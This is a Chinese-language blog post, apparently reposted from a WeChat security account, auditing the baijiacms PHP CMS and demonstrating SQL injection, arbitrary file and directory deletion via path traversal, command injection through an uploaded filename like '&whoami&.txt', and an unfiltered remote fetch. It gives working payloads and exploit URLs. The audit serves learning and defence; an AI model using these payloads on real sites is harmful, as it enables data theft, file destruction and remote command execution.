项目结构
通过对代码的一个大致结构分析,知道了它的主要功能都是在system目录下。
system目录下有class和template文件,template代表是前端,class是后端处理文件。
同时也可以搞清楚路由的生成规律:
http://localhost:8097/index.php?mod=site&act=manager&do=store&op=display&beid=1
这里的act参数代表system文件夹下某个功能点,do代表功能点下具体的PHP文件,op则代表文件走哪个分支。
代码审计
sql注入
在store.php
中有这么一段话。
if($operation=='display')
{
$pindex = max(1, intval($_GP['page']));
$psize = 20;
if (!empty($_GP['sname'])) {
$selectCondition .= " AND store.sname LIKE '%{$_GP['sname']}%'";
}
该功能对应为店铺查询处。
追溯源头发现$_GP
只是将get,post中的数据进行了一个数组合并,却没有做任何过滤。
$_GP = $_CMS = array();
$_GP = array_merge($_GET, $_POST, $_GP);
sql语句代入为
"SELECT store.* FROM table('system_store') store where store.`deleted`=0 and store.sname like '%123' limit 0,20"
直接将我们的数据带入数据库,由此可以判断这里存在sql注入漏洞。
构造payload如下:
sname=123%' and sleep(5) #
sqlmap也验证成功。
任意文件删除
在database.php下有一个delete分支。
if($operation=='delete')
{
$d = base64_decode($_GP['id']);
$path = WEB_ROOT . '/config/data_backup/';
if(is_dir($path . $d)) {
rmdirs($path . $d);
message('备份删除成功!', create_url('site', array('act' => 'manager','do' => 'database','op'=>'restore')),'success');
}
}
由上面的代码可以知道,$_GP['id']函数接收前端的文件名参数后,仅仅只是把文件名base64解密了一下,就直接拼接到删除文件路径下了,没有做任何的过滤限制操作,造成了任意文件删除漏洞。
同时看代码目录可以发现,每次备份数据库后,都会在conifg/data_backup数据库下生成一个随机文件夹。
但是删除代码因为要判断必须是目录,所以只能删除目录及其目录下的文件。
先去代码目录下去新建一个test文件夹。
构造payload如下:
GET /index.php?mod=site&act=manager&do=database&op=delete&id=Li4vdGVzdA==&beid=1
ps:Li4vLi4vdGVzdA==为../../test
同时源码目录也没有test文件夹。
任意文件删除2
common.inc.php文件中,还有一个file_delete
函数。
function file_delete($file_relative_path) {
if(empty($file_relative_path)) {
return true;
}
$settings=globaSystemSetting();
if(!empty($settings['system_isnetattach']))
{
if($settings['system_isnetattach']==1)
{
require_once(WEB_ROOT.'/includes/lib/lib_ftp.php');
$ftp=new baijiacms_ftp();
if (true === $ftp->connect()) {
if ($ftp->ftp_delete($settings['system_ftp_ftproot']. $file_relative_path)) {
return true;
} else {
return false;
}
} else {
return false;
}
}
if($settings['system_isnetattach']==1)
{
require_once(WEB_ROOT.'/includes/lib/lib_oss.php');
$oss=new baijiacms_oss();
$oss->deletefile($file_relative_path);
return true;
}
}else
{
if (is_file(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path)) {
unlink(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path);
return true;
}
}
return true;
}
关键点在于只要跳过上面的if条件,进入下面的else条件,就可以进行任意文件删除。而if条件是关于一个叫做system_isnetattach的东西。
找了很久都不知道这个到底是什么东西,翻译出来叫做附件,看了网上的wp才知道system_isnetattach
是设置图片压缩比例。
那么接下来我们到了else环节,else环节的代码一目了然。
现在我们需要找到file_delete
函数调用的地方。可以发现是在system/eshop/core/mobile/util/uploader.php
里面。
先去源码目录创建一个新的文件test.txt
由于利用的参数在baijiacms-master/system/eshop/core/mobile/util/uploader.php文件的upload分支下,参数名为file。所以直接构造url为:http://localhost:8097/index.php?mod=mobile&act=uploader&op=post&do=util&m=eshop&op=remove&file=../test.txt
删除成功。
我也没搞懂怎么找到这个路由的。
任意命令执行
在http://localhost:8097/index.php?mod=site&act=weixin&do=setting&beid=1
中有一个上传微信验证文件的选项。
使用burp可以抓包到里面的路由为
根据对应路由,找到代码是
同时在数据包中,发现传入的文件参数名称为:weixin_verify_file。
发现在setting文件中有相关描述。
大致的意思是先判断文件后缀名是不是txt格式,然后用file_save函数处理文件,并且file_save函数中参数file['name']就是上传的文件的名字:&whoami&.txt。
然后再file_save函数当中,传进来了五个参数
file_full_path里面有我们上传的文件名&whoami&.txt
。
而其中最重要的是该方法中调用了system函数,其中也会把我们的file_full_path参数带进去,我们的&whoami$.txt恰巧可以通过&(与)的分割,来进行命令执行。
任意文件写入
在system/public/class/web/file.php
下面发现了以下分支。
if ($do == 'fetch') {
$url = trim($_GPC['url']);
$file=fetch_net_file_upload($url);
if (is_error($file)) {
$result['message'] = $file['message'];
die(json_encode($result));
}
}
而其中调用的函数fetch_net_file_upload
函数,发现此函数中使用了file_get_contents函数获取文件,但是并没有进行任何过滤。
总结
太菜了,后头基本上是按照网上师傅的wp照在在做,但是任意命令执行这个漏洞确实是打开了我的视野。还有就是不知道他们是怎么做到精准找到php路由的,太菜了太菜了。
原文始发于微信公众号(黑糖安全):php代码审计之baijiacms
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论